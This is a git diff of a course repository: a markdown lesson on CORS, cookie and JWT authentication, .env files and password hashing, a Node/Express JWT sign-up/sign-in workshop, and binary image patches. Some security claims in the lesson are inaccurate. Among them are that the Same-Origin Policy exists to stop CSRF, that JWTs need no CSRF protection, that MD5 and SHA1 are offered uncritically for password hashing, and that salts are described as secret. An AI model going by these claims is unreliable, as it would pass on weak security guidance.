zh~HUkd|6+ARVBik>*yd_^^%x7!=mKYC@V+sX(cyLB!VzfW&fF6TX$Uk^dHTXh4|>P zgU#^$lQB_ql~VC|hmYkkg`3G7H?a84k)n7$n+(wBv5xS8AARI2Q=;A!1B~XJF8>@w0 zm(&CPz#i(`j8`aPYd?7Yc%mylKC{PO;j@fkh`|gzs^IKo}usk=Z_l5W^*!7Npqi8)Rd^{{ z`$dGC_g|)U2k__VD}adD7G=O4)SvxB9HF9B+B>qCm zNM?e?mQ{K3#oqdrDS|I4Z5NedUA?F7Zl2KOJ)O(!h|}mpc-3wl3u81V?3j7dw-dMh zsV#!{I%P=z?o?6>VMsuh=)8nX<@KoyIW=%<0}j_oI#BvF8_&01BzSKRk(wy{2HO!F zY=zhH6%tL{cicu8xebc3YqKk2I4t*hqYAF{5vV}d$vy2zo2=7h@KP!aRLcvuro#Gm zgvL&>;hJAELH0gzf%b5i+k{~O-?zbfbkkSu4+utpf@`=VME}M2K!4X6pMGV>IV5Ud zpMG2J*-A_hIKIEwmkU3#v$(GKwMmAT_B`=Ee35@oR;okjvrkjlaU3TJiRyjUuV0|D zJDn23eC*Oyj!!+`(?D6s@BYJP=S9yPbmRv1!+o0>wr}}%Cl0aU#B-;*$oH!roMd!_<~PAAO|vvQBY*u@ z2iFh32*V$_r%N!}rI$aQ+&R4-{RbWXBNd&t$%dz}t{f_z(Kr#5_&L_+~i!{*90DNf7+y4%4$=ETsvP&nB XG`t$@7RdnqqlOB84 +

                      What is CORS + +CORS stands for **C**_ross_\-**O**_rigin_ **R**_esource_ **S**_haring_. It allows you to make requests from one website to another website in the browser, which is normally prohibited by another browser policy called the Same-Origin Policy (SOP). + +CORS and SOP are both browser policies that have developed in response to issues of browser security and vulnerabilities. + +The specific browser vulnerability that Same Origin Policy is meant to address is called “cross-site request forgery” (CSRF, or alternatively XSRF, don’t you love all these acronyms? XD ). + +CORS allows servers to specify certain trusted ‘origins’ they are willing to permit requests from. Origins are defined as the combination of protocol (http or https), host (a domain like [www.example.com](http://www.example.com/) or an IP address) and port. Browsers which implement the CORS policy will include a HTTP header called ‘Origin’ in requests made with AJAX (or newer web APIs like Fetch). + +![](./cors.png) + + + +### [Authentication](#auth) + +
                      +What is Authentication + +Authentication is the process of verifying identity. A unique identifier is associated with a user which is the username or user id. Traditionally, we use a combination of username and password to authenticate a user. + +User authentication plays a central role in almost everything we do online. From apps to hardware and websites, user accounts and logins are everywhere. Authentication is critical for verifying a user's identity online and for confirming permissions so individuals can perform privileged actions. + +Let’s take a quick look at how we used to do authentication: + +![](./auth.avif) + +
                      +
                      +Sessions +HTTP is a _stateless_ protocol. That means it doesn’t remember anything from request to request. If you login for one request, you’ll be forgotten, and will need to login again to make another request. As you can imagine, this can get very annoying fast. + +The old-school solution has been to create what’s called a “session”. A session is implemented in two parts: + +1. An object stored on the server that remembers if a user is still logged in, a reference to their profile, etc. +2. A cookie on the client-side that stores some kind of ID that can be referenced on the server against the session object’s ID. +
                      +
                      +Cookie-based Auth + +![](./cookie-auth.avif) + +If a user visits a web page (makes a request) and the server detects a session cookie, it will check if it currently has a session stored with the ID from the cookie, and if that object is still valid (whatever that means: not expired, not revoked, not blacklisted, etc). A _**cookie**_ is a small file of letters and numbers downloaded on to your computer when you access certain websites. + +If the session is still valid, it will respond with the requested web page (or data. If it finds a session object, that object can contain data and with that, the server can “remember” who you are and what you were doing (e.g. if this is an e-commerce store, what products you’ve added to our shopping cart). + +If the session is not valid (or no session cookie was detected) it will respond with some sort of error message saying that the request is “unauthorized”. + +This type of setup has worked pretty well for us since the web came out and since we’ve been visiting websites that do most of their “thinking” on the server side. Typically, this has been a conversation between the user’s front-end browser and a corresponding back-end server in a one-to-one relationship. + +![](auth-conversation.avif) + +This setup still works, but these days we have many different situations that require different setups (e.g. multiple mobile native apps alongside large single-page web apps contacting multiple back-end services, that may be nothing more than json data without a webpage at all). In these types of scenarios, the cookie you get from one server, won’t correspond — or even be sent — to another server (let alone the problems that get created with CORS). + +
                      +
                      +Drawbacks With Cookie-based Auth + +![](./auth-drawbacks.avif) + +- **Sessions**: need to be stored somewhere, either in memory, in a database and they need to be managed so that they are removed when they expire or are otherwise invalidated. +- **Poor Scalability**: The session store needs to be scaled when scaling the server. The store uses up resources, and adds complexity. +- **Performance Issues**: When the session needs to be stored on the server, a lot of database/store lookups need to happen on every request which can bog down the server. +- **Native Apps (or non-browser apps)**: Browsers handle cookies, but custom apps don’t (at least not easily), so a different kind of session mechanism is needed. +- **CSRF**: If cookies are being used, extra security is needed to prevent cross-site request forgery attacks since the cookie will be automatically sent to the server with any request made from that site. +- **CORS**: Cookies + CORS doesn’t work well across different domains (actually, real cross-domain doesn’t work at all). +
                      + +### [What Is JWT](#jwt) + +
                      +What Is JSON? + +JSON stands for JavaScript Object Notation. It is a text-based format for transmitting data across web applications. It stores information in an easy-to-access manner, both for developers and computers. It can be used as a data format by any programming language and is quickly becoming the preferred syntax for APIs. + +#### What Are Tokens? + +Now that you understand JSON as a data text format, you may be wondering what tokens are. To put it simply, a token is a string of data that represents something else, such as an identity. In the case of authentication, a non-JWT based token is a string of characters that allows the receiver to validate the sender’s identity. The important distinction here is lack of meaning within the characters themselves. + +
                      + +
                      +What Do JWTs Look Like? + +JWTs differ from other web tokens in that they contain a set of claims. Claims are used to transmit information between two parties. What these claims are depends on the use case at hand. For example, a claim may assert who issued the token, how long it is valid for, or what permissions the client has been granted. + +A JWT is a string made up of three parts, separated by dots (.), and serialized using base64. In the most common serialization format, compact serialization, the JWT looks something like this + +![](./token.png) + +The first section of the JWT is the header, which is a Base64-encoded string. If you decoded the header it would look something similar to this: + +```json +{ + "alg": "HS256", + "typ": "JWT" +} +``` + +The header section contains the hashing algorithm, which was used to generate the sign and the type of the token. + +The second section is the payload that contains the JSON object that was sent back to the user. Since this is only Base64-encoded, it can easily be decoded by anyone. + +It is recommended not to include any sensitive data in JWTs, such as passwords or personally identifiable information. + +Usually, the JWT body will look something like this, though it's not necessarily enforced: + +```json +{ + "sub": "1234567890", + "name": "John Doe", + "iat": 1516239022 +} +``` + +Most of the time, the `sub` property will contain the ID of the user, the property `iat`, which is shorthand for _issued at_, is the timestamp of when the token is issued. + +You may also see some common properties such as `eat` or `exp`, which is the expiration time of the token. + +The final section is the signature of the token. This is generated by hashing the string `base64UrlEncode(header) + "." + base64UrlEncode(payload) + secret` using the algorithm that is mentioned in the header section. + +The `secret` is a random string which only the server should know. No hash can be converted back to the original text and even a small change of the original string will result in a different hash. So the `secret` cannot be reverse-engineered. + +When this signature sends back to the server it can verify that the client has not changed any details in the object. + +According to the standards, the client should send this token to the server via the HTTP request in a header called `Authorization` with the form `Bearer [JWT_TOKEN]`. So the value of the `Authorization` header will look something like: + +```http +Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.XbPfbIHMI6arZ3Y922BhjWgQzWXcXNrz0ogtVhfEd2o +``` + +
                      + +
                      +JSON Web Tokens Are Better + +JWTs don’t use sessions, have no problem with native apps, and actually don’t even need special CSRF protections, and they work very well with CORS. + +![](./jwt-auth.avif) + +With JWT you register yourself with an app, much the same way you would with an old-school app, and you login with your credentials (e.g. username/password). But instead of making a session and setting a cookie, the server will send you a JSON Web Token instead. Now you can use that token to do whatever you want to do with the server (that you have authorization to do). + +Think of it like a hotel key: you register at the front desk and they give you one of those plastic electronic keys that you can use to access your room, the pool, and the garage. But you can’t open other people’s rooms or go into the manager’s office. And, like a hotel key, when your stay has ended, you’re simply left with a useless piece of plastic (i.e. the token doesn’t do anything any more after it’s expired). + +
                      + +### [.env](#env) + +
                      +What are environment variables? +Environment variables are predetermined values that are typically used to make it possible to configure a value in your code from outside of your application. + +![](./env.png) + +You'll often find these variables stored in a file named with some kind of variation of `.env`. + +##### How can I keep these** `.env` **files secure? + +This is probably one of the more important points here: you need to ensure you're handling these files with care and not checking them into a git repository. If you expose these keys by uploading them to a public location by mistake, the internet could easily find these keys and people could abuse them for their own gains. + +So how can we keep these secure? The easiest way is to add the environment file where you keep these keys to your `.gitignore` file. + +To do this, simply open your existing `.gitignore` file or create a new one at the root of your repository and add the filename as a new line: + +``` +# Inside .gitignore +.env +``` + +
                      + +### [Hashing](#hashing) + +
                      +What is password hashing? +A hash is just a way to represent any data as a unique string of characters. You can hash anything: music, movies, your name, or this article. Metaphorically speaking, hashing is a way of assigning a “name” to your data. It allows you to take an input of any length and turn it into a string of characters that is always the same length. Obviously, there are many methods (algorithms) to do this. + +A few of the most popular hashing algorithms: + +- MD5 : Given any data will return a unique 32 character hash. +- SHA1 : Given any data will return a unique 40 character hash. +- SHA256 : Given any data will return a unique 64 character hash; designed by the National Security Agency. + +The reason hashing is secure is simple: hashing is a one way operation. It cannot be reversed. + +**bcrypt** is an npm library that helps you hash passwords. You can read about [bcrypt in Wikipedia](https://en.wikipedia.org/wiki/Bcrypt) as well as through this [link](https://www.npmjs.com/package/bcrypt). + +
                      + +--- + +# [Workshop](#workshop-jwt-authentication-flow-for-user-sign-up-and-user-login) + +## JWT Authentication Flow for User Sign-up & User Login + +First, we create a folder for our project: + +```bash +mkdir node-auth-project-migracode +cd node-auth-project-migracode +``` + +Then we initialize the application with a _package.json_ file: + +```bash + npm init + + name: (auth-project-migracode) + version: (1.0.0) + description: Authentication using JWT in REST API + entry point: (index.js) server.js + test command: + git repository: + author: yogi + license: ISC + Is this ok? (yes) yes +``` + +We need to install necessary modules: `express`, `cors`, `dotenv`, `jsonwebtoken` and `bcrypt`. Run the command: + +```bash +npm install express dotenv cors jsonwebtoken bcrypt +``` + +> [!IMPORTANT] > **Important:** You have to install nodemon globally in your system if you haven't done so already. + +Use this command `npm i -g nodemon` + +Once all these packages are installed, add a script in _package.json_ `"start": "nodemon server.js"` + +The package.json file now looks like this: + +```json +{ + "name": "auth-project-migracode", + "version": "1.0.0", + "description": "Authentication using JWT in REST API", + "main": "server.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1", + "start": "nodemon server.js" + }, + "author": "yogi", + "license": "ISC", + "dependencies": { + "bcrypt": "^5.0.1", + "cors": "^2.8.5", + "dotenv": "^8.2.0", + "express": "^4.17.1", + "jsonwebtoken": "^8.5.1" + } +} +``` + +### [Setup Express web server](#setup-express-web-server) + +In the project's root folder which is `node-auth-project-migracode`, let’s create a new _server.js_ file: + +```js +const express = require("express"); +const cors = require("cors"); + +// initializing express application +const app = express(); + +// parse requests of content-type - application/json +app.use(express.json()); + +const corsOptions = { + origin: "http://localhost:3000", +}; +app.use(cors(corsOptions)); // enable CORS + +// simple route +app.get("/", (req, res) => { + res.json({message: "Welcome to MigraCode Auth application."}); +}); + +// set port, listen for requests +const PORT = process.env.PORT || 4000; +app.listen(PORT, () => { + console.log(`Server is running on port ${PORT}.`); +}); +``` + +Let me explain what we’ve just done: + +1. **import** `express` **and** `cors` **modules**: + +- Express is for building the Rest APIs +- `express.json()` helps to parse the request and create the `req.body` object +- [cors](https://www.npmjs.com/package/cors) provides Express middleware to enable CORS + +2. **create an Express app**, then add `express.json()` and `cors` middleware using `app.use()`method. Notice that we set origin `http://localhost:3000`. 3) **define a GET route** which is simple for test. + +3. **listen on port 4000** for incoming requests. + +**Note:** we assign PORT variable equal to `process.env.PORT || 4000` which means if PORT is defined already as an environment variable then it will be selected otherwise `4000` will be selected. We will create the `.env` file in a later step. + +Now let’s run the app with command: `nodemon server.js`. Open your browser with URL [http://localhost:4000/](http://localhost:4000/), you will see: + +![](./nodemon.png) + +### [Database / Data store](#database-data-store) + +Since we may not have yet learned how databases work, we will work with JSON files. + +Create a JSON file with an empty array inside it where we will save the user data after user registration. + +In the project's root folder which is `node-auth-project-migracode`, let’s create a new directory `database` with a file _db.json_ using following command: + +```bash + mkdir database + cd database + touch db.json +``` + +Now open this db.json file and create an empty array inside it like this: + +```json +[] +``` + +### Define Routes + +When a client sends a request for an endpoint using an HTTP request (GET, POST, PUT, DELETE), we need to determine how the server will respond by setting up the routes. + +We can separate our routes depending on the resources we want to access. + +**User Authentication:** + +- POST `/user/sign-up` +- POST `/user/sign-in` +- POST `/user/auth` + +In the project's root folder `node-auth-project-migracode`, let’s create a new directory `routes` with a file _user.js_ using following command: + +```bash +mkdir routes +cd routes +touch user.js +``` + +### Registration endpoint + +Let's create a user authentication endpoint in the _user.js_ file we just created + +**node-auth-project-migracode/routes**/_user.js_ + +```js +const express = require("express"); +const bcrypt = require("bcrypt"); // bcrypt is used to hash password before saving it to database +const fs = require("fs"); // fs is node's inbuilt file system module used to manage files + +const usersDb = require("../database/db.json"); // import existing data from db.json file + +const router = express.Router(); // we create a new router using express's inbuilt Router method + +// user registration / sign-up +router.post("/sign-up", async (req, res) => { + const {name, email, password} = req.body; + + try { + const user = await usersDb.filter((user) => user.email === email); + + if (user.length > 0) { + return res.status(400).json({error: "User already exist!"}); + } + + const salt = await bcrypt.genSalt(10); + const bcryptPassword = await bcrypt.hash(password, salt); + + let newUser = { + id: usersDb.length, + name: name, + email: email, + password: bcryptPassword, + }; + + usersDb.push(newUser); // we add newUser to usersDb array + + // we save the updated array to db.json file by using fs module of node + + await fs.writeFileSync("./database/db.json", JSON.stringify(usersDb)); + + /* Once the user registration is done successfully, we will generate a + jsonwebtoken and send it back to user. This token will be used for + accessing other resources to verify identity of the user. + + The following generateJWT function does not exist till now but we + will create it in the next step. */ + + const jwtToken = generateJWT(newUser.id); + + return res.status(201).send({jwtToken: jwtToken, isAuthenticated: true}); + } catch (error) { + console.error(error.message); + res.status(500).send({error: error.message}); + } +}); + +module.exports = router; // we need to export this router to implement it inside our server.js file +``` + +**Line 22:** We create a salt using bcrypt. Salting is simply **the addition of a unique, random string of characters known only to the site to each password before it is hashed.** Typically, this “salt” is placed in front of each password. + +**Line 23:** We hash the password provided by user using bcrypt and the salt we generated in the previous line. + +### JWT Secret + +First we need to create a secret which we will use for generating JWT token. Secret is just a long string which can contain anything. + +In the project's root folder which is `node-auth-project-migracode`, let’s create a new file `.env` with a secret inside it using following command: + +```bash +touch .env +``` + +Now inside this file create a secret like this: + +``` +jwtSecret = "migracodeAuthJan2021" +``` + +This is your secret to sign the JWT token. You should never share this secret, otherwise someone else could use it to forge JWT tokens to gain unauthorized access to your service. The more complex this access token is, the more secure your application will be. + +### JWT Generator + +In the project's root folder `node-auth-project-migracode`, let’s create a new directory `utils` with a file _generateJWT.js_ using following command: + +```bash +mkdir utils +cd utils +touch generateJWT.js +``` + +Now open this _generateJWT.js_ file and create a function like this: + +```js +const jwt = require("jsonwebtoken"); +require("dotenv").config(); // here we use dotenv module which we installed in the begining to access environment variables from .env file + +function generateJWT(user_id) { + // payload is just an object which usually contains some information about user but not confidential information such as password. + const payload = { + user: { + id: user_id, + }, + }; + + return jwt.sign(payload, process.env.jwtSecret, {expiresIn: "1h"}); +} + +module.exports = generateJWT; // we export this function to use it inside routes/user.js +``` + +Lets import this function inside **routes/**user.js + +Put the following code on line 7 in _user.js_ file right before we create a router on line 8 + +```js +const generateJWT = require("../utils/generateJWT"); +``` + +At this point our user router is ready with one endpoint for user registration/sign-up. We will connect this user router to our server.js in the next step. + +### Implement User Router in server.js + +All we need now is to import the router right before we initialize our application using `const app = express();` by using following code inside your _server.js_ file + +**Hint:** put this code in line 4 + +```js +const user = require("./routes/user"); +``` + +Once the router is imported we need to use this router in our application by writing following code before `app.listen(...)` + +**Hint:** put this code in line 22 or 23 + +```js +app.use("/user", user); +``` + +--- + +# Part 2 + +### Test User Registration in Postman + +We will create a new POST request to `localhost:4000/user/sign-up` URL with a body in JSON format with three key-value pairs which we need for your registration. It will look like the following + +![](./postman.png) + +Once you hit the send button, it will send a request to our server and make sure that the server is running and you are able to see this in your terminal + +![](./nodemon.png) + +Once the request is sent with a name, email and password, we will receive a response back from our server which will look something like this in Postman + +![]() + +As you can see we have **Status: 201 Created** and we received an object with a token. + +If we try to send the same request again we will receive something like this + +![](./error.png) + +This means that the user already exists and we can not create a new user with same email. + +At this point our user registration endpoint is ready and we can move forward to create login/sign-in endpoint. + +### Login/Sign-in endpoint + +We have already done all the tedious part of setting up a server and creating a router. Now we just need to append a new endpoint in the existing _user.js_ file inside **routes** directory. + +Lets append the following code inside **routes/**user.js file + +**Hint:** add it between sign-up endpoint and export statement which is the last line of code in the file. + +```js +// user sign-in / login +router.post("/sign-in", async (req, res) => { + const {email, password} = req.body; + + try { + const user = await usersDb.filter((user) => user.email === email); + + if (user.length === 0) { + return res + .status(401) + .json({error: "Invalid Credential", isAuthenticated: false}); + } + + // if the user exist then we will compare the password provided by user with the hashed password we stored during user registration + const isValidPassword = await bcrypt.compare(password, user[0].password); + + if (!isValidPassword) { + return res + .status(401) + .json({error: "Invalid Credential", isAuthenticated: false}); + } + + // if the password matches with hashed password then we generate a new token and send it back to user + const jwtToken = generateJWT(user[0].id); + + return res.status(200).send({jwtToken, isAuthenticated: true}); + } catch (error) { + console.error(error.message); + res.status(500).send({error: error.message}); + } +}); +``` + +### Test User Login/Sign-in in Postman + +We will create a new POST request to `localhost:4000/user/sign-in` URL with a body in JSON format with two key-value pairs that we need for login. It will look like the following: + +![](./signin.png) + +Once you hit the send button, it will send a request to our server and make sure that the server is running and you are able to see this in your terminal + +![](nodemon.png) + +Once the request is sent with an email and password, we will receive a response back from our server which will look something like this in Postman + +![](./response.png) + +As you can see that the **Status: 200 OK** and we received an object with a token. + +If we try to send a request with **different password** we will receive something like this + +![](./auth-false.png) + +This means that the provided login credentials are incorrect and we have **Status: 401 Unauthorized** + +At this point our user registration and login/sign-in endpoints are ready and we can move forward to create our last endpoint. + +### User Authorization endpoint + +This endpoint is created to verify the user identity before sending back any resource to the user. Lets start by adding the following code in **routes/**user.js file + +**Hint:** add it between sign-in endpoint and export statement which is the last line of code in the file. + +```js +// user authorization +router.post("/auth", authenticate, (req, res) => { + try { + res.status(200).send({isAuthenticated: true}); + } catch (error) { + console.error(error.message); + res.status(500).send({error: error.message, isAuthenticated: false}); + } +}); +``` + +As you might have already noticed, we have a new argument between `"/auth"` and `(req, res)` called **authenticate**. It is a custom middleware function which we will create in the next step. We will use this authenticate middleware in all the endpoints which we want to protect to verify user identity before sending back the requested resources. + +### Authenticate Middleware + +In the project's root folder `node-auth-project-migracode`, let’s create a new directory `middleware` with a file _authenticate.js_ using the following command: + +```bash +mkdir middleware +cd middleware +touch authenticate.js +``` + +Now open this _authenticate.js_ file and create a function like this: + +```js +const jwt = require("jsonwebtoken"); +require("dotenv").config(); + +function authenticate(req, res, next) { + // Get token from request headers + let token = req.header("authorization"); + + // Check if token exists + if (!token) { + return res + .status(403) + .send({message: "authorization denied", isAuthenticated: false}); + } + + token = token.split(" ")[1]; + + // Verify token using jwt + try { + /* this will return the user id (user:{id: user_id}) which we + provided as payload while generating JWT token */ + const verify = jwt.verify(token, process.env.jwtSecret); + + req.user = verify.user; + + next(); + } catch (err) { + res + .status(401) + .send({message: "Token is not valid", isAuthenticated: false}); + } +} + +module.exports = authenticate; // we export it to use it inside user router +``` + +**Line 7:** We will receive an Authorization header from user with every request to a protected endpoint which requires user authentication. Without this Authorization header, user can not access any information. + +**Line 14:** In this middleware, we read the value of the authorization header. Since the `authorization` header has a value in the format of `Bearer [JWT_TOKEN]`, we have split the value by the space and separated the token. + +**Line 20:** Then we have verified the token with JWT. + +**Line 22:** Once verified, we attach the `user` object into the request and continue. Otherwise, we will send an error to the client. + +Now lets import this middleware function inside **routes/**user.js + +Put the following code on line 6 in _user.js_ file right before we create a router on line 8 + +```js +const authenticate = require("../middleware/authenticate"); +``` + +At this point our user router is ready with all three endpoints for user registration/sign-up, login/sign-in and authorization. + +### Test User Authorization in Postman + +We will create a new POST request to the `localhost:4000/user/auth` URL with a Authorization header which we need for user verification. You will have to select **Bearer Token** from the drop-down under Authorization tab and paste the token (which you received after login or registration) on the right side of Token. It will look like the following + +![](./running.png) + +Once you hit the send button, it will send a request to our server and make sure that the server is running and you are able to see this in your terminal + +![](./nodemon.png) + +Once the request is sent with a Authorization header containing **Bearer Token**, we will receive a response back from our server that will look something like this in Postman + +![](./is-authenticated.png) + +As you can see that the **Status: 200 OK** and we received an object with a property `isAuthenticated: true` + +If we try to send a request without **Bearer Token** we will receive something like this + +![](./bearer-403.png) + +This means that we cannot access protected endpoints that use the authenticate middleware without a **Bearer Token** and we have **Status: 403 Forbidden** + +Now we can add this authenticate middleware to any endpoint which we want to protect and users will have to provide a token to access the resources of these endpoints. + +Last updated 2021 + +## Acceptance Criteria + +- I can explain what JWT is and how it works +- I can define what environment variables are and how they are used +- I can explain what password hashing is and why it is important +- I can create a JWT authentication flow for user sign-up and user login +- I can create a user authorization endpoint +- I can test user registration, login, and authorization in Postman diff --git a/jwt/response.png b/jwt/response.png new file mode 100644 index 0000000000000000000000000000000000000000..b279649529487d59cc686d92aec8f20c157aa413 GIT binary patch literal 57522 zcmdSBXH--B7CmaGD1s=U0wRK-RHYXwA}G>@ARSbCmoA}+f(S?xk=~>S0qIf#iXy!e zIsv4IUP6bw#krn)&i(K{ybo`@_jhDCV3WPG%lfS~*PL_3Uq$Hw8R=!xBS(&qJ(QJJ zJ#yrD#*rgO2Z@itmaj+MijEw)dgP(>UBru{^Jo&y3mR1fv5=+sO+}Nb*5-IZyr{!8 zcDMR9%Wa#BDa@B||Ki{xu?wNKc$Gi?s-Ep?!Plz+uQG4kAkBOmKuQ{L^_sL~ZRX4Q zz=DQOK0ZE~LO#b$*TjubUjAV+sY2OUTQTv5EH%^Z_%>nn{TzdR)E3qEQ^&3z`RA1< z>TQ5tJpOY_^2mvQUN0r_&(6I(Lj2!X<-v(0qya(r7xCSHy{{-6o1V^+tfJ|gV?gp& z`je+Md64(tdsVWW@R3T^3XUAo}n zSgR6}O0qd&U`_L;|jcVWSu=%|;>gj%SG)2tb#--ZDq2RLtot6yXNqth4zZf-_cF2HMOl-O zL?QghV}HHz$kBb~BbY(%m@BAFDsHb#tj3+AGgtoH{5N-wX6k2R8LMU8o?J!Pl3z_G z{__y_K9NY`rSMf}S&tx==57UEJpShoXPE!m#aq|lHAVoj^d#)Q#Gh+O%7cfNjKn)F ztS-F4O?F9M{`(P2h95z2Bl4zD?bURd`unlGnrHspsn_yHP&6o)=Nd!b)=yzXZ|Qch z{rQ|q@xP8{;DSsYr~*jRizmOxWjP{78; zwdm^l;lzI~-upXi`x0t1ws7e6YVefvHFNd*)5Xenm}hCUwxst=$(2g1x^70}?MO}Q1HlV~{FmpXQT?5@g zw1T>Ndc{|ySpL4BJl+TD=#jX|4{|ldH@Qt4f0GVU$#u4)+?xvT5@n&ZCTWt9a9w9S zvG;>67u!!Z?(Mmkv;2Ivk|5@mt`sj~KT*$Jwe`C@OU)`LH7zYVCMNib7;?TZ-?Ha( zvN|<~=CXr4VT+(FvH#NotwiF1K%1DDv?YjjiJUGjE}rYn8~JL-q=wGV&!?uQzRoRh z`t)g(E-fu>Z=M0expR+nbZF0=%lF*h`St65@OTk*I=z;*_Q#JOEfx^d%|CxiGcYjZ zVC3cG7DuY{@Dx0M*6Wi{lJz{CqI=I>;%Hp&>_~Bl4U3P^h*i&rFCr6ruMkT+_&Mcx zk;$>K+ZNrKdDRCox&FnLy_YXu{H&Q@gTXj$%=e!Z(&>rB&{j)O<>AX<$){e{IvB?m}y85z?7 zRP3HxV?_*>t?@y$$~~qG&hxLckkTv z^n(nGx?p;E^6-rO{r%wwI2XR^s;Yxn+p0^#_D06WlPM2E&YU^p?%^?;94lyRGgzW{ z<3i_fK>^S4PF2{yL22KxHg_VzDsn~U<1Tv=KAaO^Ny zgs!fYiOI&+ied2hr%#_aI5^nY*rcz8#m3S`m^}!&g5TVPiqhQDGF;^$imzYwK;OQ7 zyO}I8J{}EgsJvXH3dhgS4@o9f0V+YiViG%YO#Zovz6t?zy-1yEZTjr}yQ_T}Ma0Iy;votR5Q4PkUOTBLb&aXhP=n z(a+b{daxwO;H3HA6^6OJ8s%d7uCa_gBJ7)=b)eMOkqT$rFcehl+^n<1o RoBy` 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 